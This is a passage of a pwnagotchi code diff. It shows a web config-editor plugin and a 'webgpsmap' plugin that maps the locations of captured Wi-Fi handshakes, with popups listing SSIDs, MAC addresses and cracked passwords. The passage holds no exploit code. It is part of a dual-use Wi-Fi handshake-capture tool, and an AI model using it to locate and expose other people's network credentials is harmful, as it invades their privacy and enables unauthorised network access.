background-color: #0061b0;
|
||||
border: none;
|
||||
color: white;
|
||||
padding: 15px 32px;
|
||||
text-align: center;
|
||||
text-decoration: none;
|
||||
display: inline-block;
|
||||
font-size: 16px;
|
||||
cursor: pointer;
|
||||
float: right;
|
||||
}
|
||||
|
||||
#divTop {
|
||||
display: table;
|
||||
width: 100%;
|
||||
}
|
||||
#divTop > * {
|
||||
display: table-cell;
|
||||
}
|
||||
#divTop > span {
|
||||
width: 1%;
|
||||
}
|
||||
#divTop > input {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
@media screen and (max-width:700px) {
|
||||
table, tr, td {
|
||||
padding:0;
|
||||
border:1px solid black;
|
||||
}
|
||||
|
||||
table {
|
||||
border:none;
|
||||
}
|
||||
|
||||
tr:first-child, thead, th {
|
||||
display:none;
|
||||
border:none;
|
||||
}
|
||||
|
||||
tr {
|
||||
float: left;
|
||||
width: 100%;
|
||||
margin-bottom: 2em;
|
||||
}
|
||||
|
||||
table tr:nth-child(odd) {
|
||||
background-color: #eee;
|
||||
}
|
||||
|
||||
td {
|
||||
float: left;
|
||||
width: 100%;
|
||||
padding:1em;
|
||||
}
|
||||
|
||||
td::before {
|
||||
content:attr(data-label);
|
||||
word-wrap: break-word;
|
||||
background: #eee;
|
||||
border-right:2px solid black;
|
||||
width: 20%;
|
||||
float:left;
|
||||
padding:1em;
|
||||
font-weight: bold;
|
||||
margin:-1em 1em -1em -1em;
|
||||
}
|
||||
|
||||
.del_btn_wrapper {
|
||||
content:attr(data-label);
|
||||
word-wrap: break-word;
|
||||
background: #eee;
|
||||
border-right:2px solid black;
|
||||
width: 20%;
|
||||
float:left;
|
||||
padding:1em;
|
||||
font-weight: bold;
|
||||
margin:-1em 1em -1em -1em;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="divTop">
|
||||
<input type="text" id="searchText" onkeyup="filterTable()" placeholder="Search for options ..." title="Type an option name">
|
||||
<span><select id="selAddType"><option value="text">Text</option><option value="number">Number</option></select></span>
|
||||
<span><button id="btnAdd" type="button" onclick="addOption()">+</button></span>
|
||||
</div>
|
||||
<div id="content"></div>
|
||||
<button id="btnSave" type="button" onclick="saveConfig()">Save</button>
|
||||
</body>
|
||||
<script type="text/javascript">
|
||||
function addOption() {
|
||||
var input, table, tr, td, divDelBtn, btnDel, selType, selTypeVal;
|
||||
input = document.getElementById("searchText");
|
||||
inputVal = input.value;
|
||||
selType = document.getElementById("selAddType");
|
||||
selTypeVal = selType.options[selType.selectedIndex].value;
|
||||
table = document.getElementById("tableOptions");
|
||||
if (table) {
|
||||
tr = table.insertRow();
|
||||
// del button
|
||||
divDelBtn = document.createElement("div");
|
||||
divDelBtn.className = "del_btn_wrapper";
|
||||
td = document.createElement("td");
|
||||
td.setAttribute("data-label", "");
|
||||
btnDel = document.createElement("Button");
|
||||
btnDel.innerHTML = "X";
|
||||
btnDel.onclick = function(){ delRow(this);};
|
||||
btnDel.className = "remove";
|
||||
divDelBtn.appendChild(btnDel);
|
||||
td.appendChild(divDelBtn);
|
||||
tr.appendChild(td);
|
||||
// option
|
||||
td = document.createElement("td");
|
||||
td.setAttribute("data-label", "Option");
|
||||
td.innerHTML = inputVal;
|
||||
tr.appendChild(td);
|
||||
// value
|
||||
td = document.createElement("td");
|
||||
td.setAttribute("data-label", "Value");
|
||||
input = document.createElement("input");
|
||||
input.type = selTypeVal;
|
||||
input.value = "";
|
||||
td.appendChild(input);
|
||||
tr.appendChild(td);
|
||||
|
||||
input.value = "";
|
||||
}
|
||||
}
|
||||
|
||||
function saveConfig(){
|
||||
// get table
|
||||
var table = document.getElementById("tableOptions");
|
||||
if (table) {
|
||||
var json = tableToJson(table);
|
||||
sendJSON("webcfg/save-config", json, function(response) {
|
||||
if (response) {
|
||||
if (response.status == "200") {
|
||||
alert("Config got updated");
|
||||
} else {
|
||||
alert("Error while updating the config (err-code: " + response.status + ")");
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
function filterTable(){
|
||||
var input, filter, table, tr, td, i, txtValue;
|
||||
input = document.getElementById("searchText");
|
||||
filter = input.value.toUpperCase();
|
||||
table = document.getElementById("tableOptions");
|
||||
if (table) {
|
||||
tr = table.getElementsByTagName("tr");
|
||||
|
||||
for (i = 0; i < tr.length; i++) {
|
||||
td = tr[i].getElementsByTagName("td")[1];
|
||||
if (td) {
|
||||
txtValue = td.textContent || td.innerText;
|
||||
if (txtValue.toUpperCase().indexOf(filter) > -1) {
|
||||
tr[i].style.display = "";
|
||||
}else{
|
||||
tr[i].style.display = "none";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function sendJSON(url, data, callback) {
|
||||
var xobj = new XMLHttpRequest();
|
||||
var csrf = "{{ csrf_token() }}";
|
||||
xobj.open('POST', url);
|
||||
xobj.setRequestHeader("Content-Type", "application/json");
|
||||
xobj.setRequestHeader('x-csrf-token', csrf);
|
||||
xobj.onreadystatechange = function () {
|
||||
if (xobj.readyState == 4) {
|
||||
callback(xobj);
|
||||
}
|
||||
};
|
||||
xobj.send(JSON.stringify(data));
|
||||
}
|
||||
|
||||
function loadJSON(url, callback) {
|
||||
var xobj = new XMLHttpRequest();
|
||||
xobj.overrideMimeType("application/json");
|
||||
xobj.open('GET', url, true);
|
||||
xobj.onreadystatechange = function () {
|
||||
if (xobj.readyState == 4 && xobj.status == "200") {
|
||||
callback(JSON.parse(xobj.responseText));
|
||||
}
|
||||
};
|
||||
xobj.send(null);
|
||||
}
|
||||
|
||||
// https://stackoverflow.com/questions/19098797/fastest-way-to-flatten-un-flatten-nested-json-objects
|
||||
function unFlattenJson(data) {
|
||||
"use strict";
|
||||
if (Object(data) !== data || Array.isArray(data))
|
||||
return data;
|
||||
var result = {}, cur, prop, idx, last, temp, inarray;
|
||||
for(var p in data) {
|
||||
cur = result, prop = "", last = 0, inarray = false;
|
||||
do {
|
||||
idx = p.indexOf(".", last);
|
||||
temp = p.substring(last, idx !== -1 ? idx : undefined);
|
||||
inarray = temp.startsWith('#') && !isNaN(parseInt(temp.substring(1)))
|
||||
cur = cur[prop] || (cur[prop] = (inarray ? [] : {}));
|
||||
if (inarray){
|
||||
prop = temp.substring(1);
|
||||
}else{
|
||||
prop = temp;
|
||||
}
|
||||
last = idx + 1;
|
||||
} while(idx >= 0);
|
||||
cur[prop] = data[p];
|
||||
}
|
||||
return result[""];
|
||||
}
|
||||
|
||||
function flattenJson(data) {
|
||||
var result = {};
|
||||
function recurse (cur, prop) {
|
||||
if (Object(cur) !== cur) {
|
||||
result[prop] = cur;
|
||||
} else if (Array.isArray(cur)) {
|
||||
for(var i=0, l=cur.length; i<l; i++)
|
||||
recurse(cur[i], prop ? prop+".#"+i : ""+i);
|
||||
if (l == 0)
|
||||
result[prop] = [];
|
||||
} else {
|
||||
var isEmpty = true;
|
||||
for (var p in cur) {
|
||||
isEmpty = false;
|
||||
recurse(cur[p], prop ? prop+"."+p : p);
|
||||
}
|
||||
if (isEmpty)
|
||||
result[prop] = {};
|
||||
}
|
||||
}
|
||||
recurse(data, "");
|
||||
return result;
|
||||
}
|
||||
|
||||
function delRow(btn) {
|
||||
var tr = btn.parentNode.parentNode.parentNode;
|
||||
tr.parentNode.removeChild(tr);
|
||||
}
|
||||
|
||||
function jsonToTable(json) {
|
||||
var table = document.createElement("table");
|
||||
table.id = "tableOptions";
|
||||
|
||||
// create header
|
||||
var tr = table.insertRow();
|
||||
var thDel = document.createElement("th");
|
||||
thDel.innerHTML = "";
|
||||
var thOpt = document.createElement("th");
|
||||
thOpt.innerHTML = "Option";
|
||||
var thVal = document.createElement("th");
|
||||
thVal.innerHTML = "Value";
|
||||
tr.appendChild(thDel);
|
||||
tr.appendChild(thOpt);
|
||||
tr.appendChild(thVal);
|
||||
|
||||
var td, divDelBtn, btnDel;
|
||||
// iterate over keys
|
||||
Object.keys(json).forEach(function(key) {
|
||||
tr = table.insertRow();
|
||||
// del button
|
||||
divDelBtn = document.createElement("div");
|
||||
divDelBtn.className = "del_btn_wrapper";
|
||||
td = document.createElement("td");
|
||||
td.setAttribute("data-label", "");
|
||||
btnDel = document.createElement("Button");
|
||||
btnDel.innerHTML = "X";
|
||||
btnDel.onclick = function(){ delRow(this);};
|
||||
btnDel.className = "remove";
|
||||
divDelBtn.appendChild(btnDel);
|
||||
td.appendChild(divDelBtn);
|
||||
tr.appendChild(td);
|
||||
// option
|
||||
td = document.createElement("td");
|
||||
td.setAttribute("data-label", "Option");
|
||||
td.innerHTML = key;
|
||||
tr.appendChild(td);
|
||||
// value
|
||||
td = document.createElement("td");
|
||||
td.setAttribute("data-label", "Value");
|
||||
if(typeof(json[key])==='boolean'){
|
||||
input = document.createElement("select");
|
||||
input.setAttribute("id", "boolSelect");
|
||||
tvalue = document.createElement("option");
|
||||
tvalue.setAttribute("value", "true");
|
||||
ttext = document.createTextNode("True")
|
||||
tvalue.appendChild(ttext);
|
||||
fvalue = document.createElement("option");
|
||||
fvalue.setAttribute("value", "false");
|
||||
ftext = document.createTextNode("False");
|
||||
fvalue.appendChild(ftext);
|
||||
input.appendChild(tvalue);
|
||||
input.appendChild(fvalue);
|
||||
input.value = json[key];
|
||||
document.body.appendChild(input);
|
||||
td.appendChild(input);
|
||||
tr.appendChild(td);
|
||||
} else {
|
||||
input = document.createElement("input");
|
||||
if(Array.isArray(json[key])) {
|
||||
input.type = 'text';
|
||||
input.value = '[]';
|
||||
}else{
|
||||
input.type = typeof(json[key]);
|
||||
input.value = json[key];
|
||||
}
|
||||
td.appendChild(input);
|
||||
tr.appendChild(td);
|
||||
}
|
||||
});
|
||||
|
||||
return table;
|
||||
}
|
||||
|
||||
function tableToJson(table) {
|
||||
var rows = table.getElementsByTagName("tr");
|
||||
var i, td, key, value;
|
||||
var json = {};
|
||||
|
||||
for (i = 0; i < rows.length; i++) {
|
||||
td = rows[i].getElementsByTagName("td");
|
||||
if (td.length == 3) {
|
||||
// td[0] = del button
|
||||
key = td[1].textContent || td[1].innerText;
|
||||
var input = td[2].getElementsByTagName("input");
|
||||
var select = td[2].getElementsByTagName("select");
|
||||
if (input && input != undefined && input.length > 0 ) {
|
||||
if (input[0].type == "text") {
|
||||
if (input[0].value.startsWith("[") && input[0].value.endsWith("]")) {
|
||||
json[key] = JSON.parse(input[0].value);
|
||||
}else{
|
||||
json[key] = input[0].value;
|
||||
}
|
||||
}else if (input[0].type == "number") {
|
||||
json[key] = Number(input[0].value);
|
||||
}
|
||||
} else if(select && select != undefined && select.length > 0) {
|
||||
var myValue = select[0].options[select[0].selectedIndex].value;
|
||||
json[key] = myValue === 'true';
|
||||
}
|
||||
}
|
||||
}
|
||||
return unFlattenJson(json);
|
||||
}
|
||||
|
||||
loadJSON("webcfg/get-config", function(response) {
|
||||
var flat_json = flattenJson(response);
|
||||
var table = jsonToTable(flat_json);
|
||||
var divContent = document.getElementById("content");
|
||||
divContent.innerHTML = "";
|
||||
divContent.appendChild(table);
|
||||
});
|
||||
</script>
|
||||
</html>
|
||||
"""
|
||||
|
||||
def serializer(obj):
|
||||
if isinstance(obj, set):
|
||||
return list(obj)
|
||||
raise TypeError
|
||||
|
||||
class WebConfig(plugins.Plugin):
|
||||
__author__ = '33197631+dadav@users.noreply.github.com'
|
||||
__version__ = '1.0.0'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'This plugin allows the user to make runtime changes.'
|
||||
|
||||
def __init__(self):
|
||||
self.ready = False
|
||||
|
||||
def on_ready(self, agent):
|
||||
self.config = agent.config()
|
||||
self.mode = "MANU" if agent.mode == "manual" else "AUTO"
|
||||
self.ready = True
|
||||
|
||||
def on_internet_available(self, agent):
|
||||
self.config = agent.config()
|
||||
self.mode = "MANU" if agent.mode == "manual" else "AUTO"
|
||||
self.ready = True
|
||||
|
||||
def on_loaded(self):
|
||||
"""
|
||||
Gets called when the plugin gets loaded
|
||||
"""
|
||||
logging.info("webcfg: Plugin loaded.")
|
||||
|
||||
|
||||
def on_webhook(self, path, request):
|
||||
"""
|
||||
Serves the current configuration
|
||||
"""
|
||||
if not self.ready:
|
||||
return "Plugin not ready"
|
||||
|
||||
if request.method == "GET":
|
||||
if path == "/" or not path:
|
||||
return render_template_string(INDEX)
|
||||
elif path == "get-config":
|
||||
# send configuration
|
||||
return json.dumps(self.config, default=serializer)
|
||||
else:
|
||||
abort(404)
|
||||
elif request.method == "POST":
|
||||
if path == "save-config":
|
||||
try:
|
||||
with open('/etc/pwnagotchi/config.yml', 'w') as config_file:
|
||||
yaml.safe_dump(request.get_json(), config_file, encoding='utf-8',
|
||||
allow_unicode=True, default_flow_style=False)
|
||||
|
||||
_thread.start_new_thread(restart, (self.mode,))
|
||||
return "success"
|
||||
except yaml.YAMLError as yaml_ex:
|
||||
return "config error"
|
||||
abort(404)
|
218
pwnagotchi/plugins/default/webgpsmap.html
Normal file
@@ -0,0 +1,218 @@
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/xml; charset=utf-8" />
|
||||
<title>GPS MAP</title>
|
||||
<link rel="stylesheet" href="https://unpkg.com/leaflet@1.5.1/dist/leaflet.css"/>
|
||||
<link rel="stylesheet" type="text/css" href="http://cdnjs.cloudflare.com/ajax/libs/leaflet.markercluster/1.4.1/MarkerCluster.css" />
|
||||
<link rel="stylesheet" type="text/css" href="http://cdnjs.cloudflare.com/ajax/libs/leaflet.markercluster/1.4.1/MarkerCluster.Default.css" />
|
||||
<script type='text/javascript' src="https://unpkg.com/leaflet@1.5.1/dist/leaflet.js"></script>
|
||||
<script type='text/javascript' src='http://cdnjs.cloudflare.com/ajax/libs/leaflet.markercluster/1.4.1/leaflet.markercluster.js'></script>
|
||||
<style type="text/css">
|
||||
/* for map */
|
||||
html, body, #mapdiv { height: 100%; width: 100%; margin:0; background-color:#000;}
|
||||
.pwnAPPin path {
|
||||
fill: #ce7575;
|
||||
}
|
||||
.pwnAPPinOpen path {
|
||||
fill: #76ce75;
|
||||
}
|
||||
/* animated ap marker */
|
||||
.pwnAPPin .ring_outer, .pwnAPPinOpen .ring_outer {
|
||||
animation: opacityPulse 2s cubic-bezier(1, 0.14, 1, 1);
|
||||
animation-iteration-count: infinite;
|
||||
opacity: .5;
|
||||
}
|
||||
.pwnAPPin .ring_inner, .pwnAPPinOpen .ring_inner {
|
||||
animation: opacityPulse 2s cubic-bezier(0.4, 0.74, 0.56, 0.82);
|
||||
animation-iteration-count: infinite;
|
||||
opacity: .8;
|
||||
}
|
||||
@keyframes opacityPulse {
|
||||
0% {
|
||||
opacity: 0.1;
|
||||
}
|
||||
50% {
|
||||
opacity: 1.0;
|
||||
}
|
||||
100% {
|
||||
opacity: 0.1;
|
||||
}
|
||||
}
|
||||
@keyframes bounceInDown {
|
||||
from, 60%, 75%, 90%, to {
|
||||
animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
|
||||
}
|
||||
0% {
|
||||
opacity: 0;
|
||||
transform: translate3d(0, -3000px, 0);
|
||||
}
|
||||
60% {
|
||||
opacity: 1;
|
||||
transform: translate3d(0, 5px, 0);
|
||||
}
|
||||
75% {
|
||||
transform: translate3d(0, -3px, 0);
|
||||
}
|
||||
90% {
|
||||
transform: translate3d(0, 5px, 0);
|
||||
}
|
||||
to {
|
||||
transform: none;
|
||||
}
|
||||
}
|
||||
.bounceInDown {
|
||||
animation-name: bounceInDown;
|
||||
animation-duration: 2s;
|
||||
animation-fill-mode: both;
|
||||
}
|
||||
/* animated radar */
|
||||
.radar {
|
||||
animation: pulsate 1s ease-out;
|
||||
-webkit-animation: pulsate 1s ease-out;
|
||||
-webkit-animation-iteration-count: infinite;
|
||||
/* opacity: 0.0 */
|
||||
}
|
||||
#loading {
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
position: fixed;
|
||||
background-color: rgba(255, 255, 255, 0.9);
|
||||
border: 0.5vw #ff0000 solid;
|
||||
border-radius: 2vw;
|
||||
padding: 5vw;
|
||||
transform: translateX(-50%) translateY(-50%);
|
||||
text-align:center;
|
||||
display: none;
|
||||
}
|
||||
#loading .face { font-size:8vw; }
|
||||
#loading .text {position:absolute;bottom:0;text-align:center; font-size: 1vw;color:#a0a0a0;}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="mapdiv"></div>
|
||||
<div id="loading"><div class="face"><nobr>(⌐■ <span id="loading_ap_img"></span> ■)</nobr></div><div class="text" id="loading_infotext">loading positions...</div></div>
|
||||
<script type="text/javascript">
|
||||
function loadJSON(url, callback) {
|
||||
document.getElementById("loading").style.display = "flex";
|
||||
var xobj = new XMLHttpRequest();
|
||||
xobj.overrideMimeType("application/json");
|
||||
xobj.open('GET', url, true);
|
||||
xobj.onreadystatechange = function () {
|
||||
if (xobj.readyState == 4 && xobj.status == "200") {
|
||||
callback(xobj.responseText);
|
||||
}
|
||||
};
|
||||
xobj.send(null);
|
||||
}
|
||||
function escapeHtml(unsafe) {
|
||||
return String(unsafe)
|
||||
.replace(/&/g, "&")
|
||||
.replace(/</g, "<")
|
||||
.replace(/>/g, ">")
|
||||
.replace(/"/g, """)
|
||||
.replace(/'/g, "'");
|
||||
}
|
||||
function formatMacAddress(macAddress) {
|
||||
if (macAddress !== null) {
|
||||
macAddress = macAddress.toUpperCase();
|
||||
if (macAddress.length >= 3 && macAddress.length <= 16) {
|
||||
macAddress = macAddress.replace(/\W/ig, '');
|
||||
macAddress = macAddress.replace(/(.{2})/g, "$1:");
|
||||
macAddress = macAddress.replace(/:+$/,'');
|
||||
}
|
||||
}
|
||||
return macAddress;
|
||||
}
|
||||
|
||||
// select your map theme from https://leaflet-extras.github.io/leaflet-providers/preview/
|
||||
// use 2 layers with alpha for a nice dark style
|
||||
var Esri_WorldImagery = L.tileLayer('https://server.arcgisonline.com/ArcGIS/rest/services/World_Imagery/MapServer/tile/{z}/{y}/{x}', {
|
||||
attribution: 'Tiles © Esri — Source: Esri, i-cubed, USDA, USGS, AEX, GeoEye, Getmapping, Aerogrid, IGN, IGP, UPR-EGP, and the GIS User Community'
|
||||
});
|
||||
var CartoDB_DarkMatter = L.tileLayer('https://{s}.basemaps.cartocdn.com/dark_all/{z}/{x}/{y}{r}.png', {
|
||||
attribution: '© <a href="https://www.openstreetmap.org/copyright">OpenStreetMap</a> contributors © <a href="https://carto.com/attributions">CARTO</a>',
|
||||
subdomains: 'abcd',
|
||||
opacity:0.8,
|
||||
maxZoom: 19
|
||||
});
|
||||
var mymap = L.map('mapdiv');
|
||||
Esri_WorldImagery.addTo(mymap);
|
||||
CartoDB_DarkMatter.addTo(mymap);
|
||||
|
||||
var svg = '<svg class="pwnAPPin" width="80px" height="60px" viewBox="0 0 44 28" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><desc>pwnagotchi AP icon.</desc><defs><linearGradient x1="50%" y1="0%" x2="50%" y2="100%" id="linearGradient-1"><stop stop-color="#FFFFFF" offset="0%"></stop><stop stop-color="#000000" offset="100%"></stop></linearGradient></defs><g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g id="marker"><path class="ring_outer" d="M28.6,8 C34.7,9.4 39,12.4 39,16 C39,20.7 31.3,24.6 21.7,24.6 C12.1,24.6 4.3,20.7 4.3,16 C4.3,12.5 8.5,9.5 14.6,8.1 C15.3,8 14.2,6.6 13.3,6.8 C5.5,8.4 0,12.2 0,16.7 C0,22.7 9.7,27.4 21.7,27.4 C33.7,27.4 43.3,22.6 43.3,16.7 C43.3,12.1 37.6,8.3 29.6,6.7 C28.8,6.5 27.8,7.9 28.6,8.1 L28.6,8 Z" id="Shape" fill="#878787" fill-rule="nonzero"></path><path class="ring_inner" d="M28.1427313,11.0811939 C30.4951542,11.9119726 32.0242291,13.2174821 32.0242291,14.6416742 C32.0242291,17.2526931 27.6722467,19.2702986 22.261674,19.2702986 C16.8511013,19.2702986 12.4991189,17.2526931 12.4991189,14.7603569 C12.4991189,13.5735301 13.4400881,12.505386 15.0867841,11.6746073 C15.792511,11.3185592 14.7339207,9.30095371 13.9105727,9.77568442 C10.6171806,10.9625112 8.5,12.9801167 8.5,15.2350876 C8.5,19.0329333 14.4986784,22.0000002 21.9088106,22.0000002 C29.2013216,22.0000002 35.2,19.0329333 35.2,15.2350876 C35.2,12.861434 32.7299559,10.6064632 28.8484581,9.30095371 C28.0251101,9.18227103 27.4370044,10.8438285 28.0251101,11.0811939 L28.1427313,11.0811939 Z" id="Shape" fill="#5F5F5F" fill-rule="nonzero"></path><g id="ap" transform="translate(13.000000, 0.000000)"><rect id="apfront" fill="#000000" x="0" y="14" width="18" height="4"></rect><polygon id="apbody" fill="url(#linearGradient-1)" points="3.83034404 10 14.169656 10 18 14 0 14"></polygon><circle class="ring_outer" id="led1" fill="#931F1F" cx="3" cy="16" r="1"></circle><circle class="ring_inner" id="led2" fill="#931F1F" cx="7" cy="16" r="1"></circle><circle class="ring_outer" id="led3" fill="#931F1F" cx="11" cy="16" r="1"></circle><circle class="ring_inner" id="led4" fill="#931F1F" cx="15" cy="16" r="1"></circle><polygon id="antenna2" fill="#000000" points="8.8173082 0 9.1826918 0 9.5 11 8.5 11"></polygon><polygon id="antenna3" fill="#000000" transform="translate(15.000000, 5.500000) rotate(15.000000) translate(-15.000000, -5.500000) " points="14.8173082 0 15.1826918 0 15.5 11 14.5 11"></polygon><polygon id="antenna1" fill="#000000" transform="translate(3.000000, 5.500000) rotate(-15.000000) translate(-3.000000, -5.500000) " points="2.8173082 0 3.1826918 0 3.5 11 2.5 11"></polygon></g></g></g></svg>';
|
||||
var svgOpen = '<svg class="pwnAPPinOpen" width="80px" height="60px" viewBox="0 0 44 28" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><desc>pwnagotchi AP icon.</desc><defs><linearGradient x1="50%" y1="0%" x2="50%" y2="100%" id="linearGradient-1"><stop stop-color="#FFFFFF" offset="0%"></stop><stop stop-color="#000000" offset="100%"></stop></linearGradient></defs><g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g id="marker"><path class="ring_outer" d="M28.6,8 C34.7,9.4 39,12.4 39,16 C39,20.7 31.3,24.6 21.7,24.6 C12.1,24.6 4.3,20.7 4.3,16 C4.3,12.5 8.5,9.5 14.6,8.1 C15.3,8 14.2,6.6 13.3,6.8 C5.5,8.4 0,12.2 0,16.7 C0,22.7 9.7,27.4 21.7,27.4 C33.7,27.4 43.3,22.6 43.3,16.7 C43.3,12.1 37.6,8.3 29.6,6.7 C28.8,6.5 27.8,7.9 28.6,8.1 L28.6,8 Z" id="Shape" fill="#878787" fill-rule="nonzero"></path><path class="ring_inner" d="M28.1427313,11.0811939 C30.4951542,11.9119726 32.0242291,13.2174821 32.0242291,14.6416742 C32.0242291,17.2526931 27.6722467,19.2702986 22.261674,19.2702986 C16.8511013,19.2702986 12.4991189,17.2526931 12.4991189,14.7603569 C12.4991189,13.5735301 13.4400881,12.505386 15.0867841,11.6746073 C15.792511,11.3185592 14.7339207,9.30095371 13.9105727,9.77568442 C10.6171806,10.9625112 8.5,12.9801167 8.5,15.2350876 C8.5,19.0329333 14.4986784,22.0000002 21.9088106,22.0000002 C29.2013216,22.0000002 35.2,19.0329333 35.2,15.2350876 C35.2,12.861434 32.7299559,10.6064632 28.8484581,9.30095371 C28.0251101,9.18227103 27.4370044,10.8438285 28.0251101,11.0811939 L28.1427313,11.0811939 Z" id="Shape" fill="#5F5F5F" fill-rule="nonzero"></path><g id="ap" transform="translate(13.000000, 0.000000)"><rect id="apfront" fill="#000000" x="0" y="14" width="18" height="4"></rect><polygon id="apbody" fill="url(#linearGradient-1)" points="3.83034404 10 14.169656 10 18 14 0 14"></polygon><circle class="ring_outer" id="led1" fill="#1f9321" cx="3" cy="16" r="1"></circle><circle class="ring_inner" id="led2" fill="#1f9321" cx="7" cy="16" r="1"></circle><circle class="ring_outer" id="led3" fill="#1f9321" cx="11" cy="16" r="1"></circle><circle class="ring_inner" id="led4" fill="#1f9321" cx="15" cy="16" r="1"></circle><polygon id="antenna2" fill="#000000" points="8.8173082 0 9.1826918 0 9.5 11 8.5 11"></polygon><polygon id="antenna3" fill="#000000" transform="translate(15.000000, 5.500000) rotate(15.000000) translate(-15.000000, -5.500000) " points="14.8173082 0 15.1826918 0 15.5 11 14.5 11"></polygon><polygon id="antenna1" fill="#000000" transform="translate(3.000000, 5.500000) rotate(-15.000000) translate(-3.000000, -5.500000) " points="2.8173082 0 3.1826918 0 3.5 11 2.5 11"></polygon></g></g></g></svg>';
|
||||
document.getElementById('loading_ap_img').innerHTML = svg;
|
||||
var myIcon = L.divIcon({
|
||||
className: "leaflet-data-marker",
|
||||
html: svg.replace('#','%23'),
|
||||
iconAnchor : [40, 30],
|
||||
iconSize : [80, 60],
|
||||
popupAnchor : [0, -30],
|
||||
});
|
||||
var myIconOpen = L.divIcon({
|
||||
className: "leaflet-data-marker",
|
||||
html: svgOpen.replace('#','%23'),
|
||||
iconAnchor : [40, 30],
|
||||
iconSize : [80, 60],
|
||||
popupAnchor : [0, -30],
|
||||
});
|
||||
|
||||
var accuracys = [];
|
||||
var markers = [];
|
||||
var marker_pos = [];
|
||||
var markerClusters = L.markerClusterGroup();
|
||||
|
||||
loadJSON("/plugins/webgpsmap/all", function(response) {
|
||||
var positions = JSON.parse(response);
|
||||
count = 0;
|
||||
Object.keys(positions).forEach(function(key) {
|
||||
count++;
|
||||
if(positions[key].lng){
|
||||
new_marker_pos = [positions[key].lat, positions[key].lng];
|
||||
if (positions[key].acc) {
|
||||
radius = Math.round(Math.min(positions[key].acc, 500));
|
||||
markerColor = 'red';
|
||||
markerColorCode = '#f03';
|
||||
fillOpacity = 0.002;
|
||||
if (positions[key].pass) {
|
||||
markerColor = 'green';
|
||||
markerColorCode = '#1aff00';
|
||||
fillOpacity = 0.1;
|
||||
}
|
||||
accuracys.push(
|
||||
L.circle(new_marker_pos, {
|
||||
color: markerColor,
|
||||
fillColor: markerColorCode,
|
||||
fillOpacity: fillOpacity,
|
||||
weight: 1,
|
||||
opacity: 0.1,
|
||||
radius: Math.min(positions[key].acc, 500),
|
||||
}).setStyle({'className': 'radar'}).addTo(mymap)
|
||||
);
|
||||
}
|
||||
if (positions[key].pass) {
|
||||
newMarker = L.marker(new_marker_pos, { icon: myIconOpen, title: positions[key].ssid }); //.addTo(mymap);
|
||||
} else {
|
||||
newMarker = L.marker(new_marker_pos, { icon: myIcon, title: positions[key].ssid }); //.addTo(mymap);
|
||||
}
|
||||
passInfo = '';
|
||||
if (positions[key].pass) {
|
||||
passInfo = '<br/><b>Pass:</b> '+escapeHtml(positions[key].pass);
|
||||
}
|
||||
newMarker.bindPopup("<b>"+escapeHtml(positions[key].ssid)+"</b><br><nobr>MAC: "+escapeHtml(formatMacAddress(positions[key].mac))+"</nobr><br/>"+"<nobr>position type: "+escapeHtml(positions[key].type)+"</nobr><br/>"+"<nobr>position accuracy: "+escapeHtml(Math.round(positions[key].acc))+"</nobr>"+passInfo, { maxWidth: "auto" });
|
||||
markers.push(newMarker);
|
||||
marker_pos.push(new_marker_pos);
|
||||
markerClusters.addLayer( newMarker );
|
||||
}
|
||||
});
|
||||
if (count > 0) {
|
||||
mymap.addLayer( markerClusters );
|
||||
var bounds = new L.LatLngBounds(marker_pos);
|
||||
mymap.fitBounds(bounds);
|
||||
document.getElementById("loading").style.display = "none";
|
||||
} else {
|
||||
document.getElementById("loading_infotext").innerHTML = "NO POSITION DATA FOUND :(";
|
||||
}
|
||||
});
|
||||
</script>
|
||||
</body></html>
|
369
pwnagotchi/plugins/default/webgpsmap.py
Normal file
@@ -0,0 +1,369 @@
|
||||
import pwnagotchi.plugins as plugins
|
||||
import logging
|
||||
import os
|
||||
import json
|
||||
import re
|
||||
import datetime
|
||||
from flask import Response
|
||||
from functools import lru_cache
|
||||
|
||||
'''
|
||||
2do:
|
||||
- make the cache handling multiple clients
|
||||
- cleanup the javascript in a class and handle "/newest" additions
|
||||
- create map filters (only cracked APs, only last xx days, between 2 days with slider)
|
||||
http://www.gistechsolutions.com/leaflet/DEMO/filter/filter.html
|
||||
https://gis.stackexchange.com/questions/312737/filtering-interactive-leaflet-map-with-dropdown-menu
|
||||
https://blogs.kent.ac.uk/websolutions/2015/01/29/filtering-map-markers-with-leaflet-js-a-brief-technical-overview/
|
||||
http://www.digital-geography.com/filter-leaflet-maps-slider/
|
||||
http://bl.ocks.org/zross/47760925fcb1643b4225
|
||||
-
|
||||
'''
|
||||
|
||||
class Webgpsmap(plugins.Plugin):
|
||||
__author__ = 'https://github.com/xenDE and https://github.com/dadav'
|
||||
__version__ = '1.2.2'
|
||||
__name__ = 'webgpsmap'
|
||||
__license__ = 'GPL3'
|
||||
__description__ = 'a plugin for pwnagotchi that shows a openstreetmap with positions of ap-handshakes in your webbrowser'
|
||||
__help__ = """
|
||||
- install: copy "webgpsmap.py" and "webgpsmap.html" to your configured "custom_plugins" directory
|
||||
- add webgpsmap.yml to your config
|
||||
- connect your PC/Smartphone/* with USB, BT or other to your pwnagotchi and browse to http://pwnagotchi.local:8080/plugins/webgpsmap/
|
||||
(change pwnagotchi.local to your pwnagotchis IP, if needed)
|
||||
"""
|
||||
|
||||
ALREADY_SENT = list()
|
||||
SKIP = list()
|
||||
|
||||
def __init__(self):
|
||||
self.ready = False
|
||||
|
||||
def on_ready(self, agent):
|
||||
self.config = agent.config()
|
||||
self.ready = True
|
||||
|
||||
def on_loaded(self):
|
||||
"""
|
||||
Plugin got loaded
|
||||
"""
|
||||
logging.info("webgpsmap plugin loaded")
|
||||
|
||||
def on_webhook(self, path, request):
|
||||
"""
|
||||
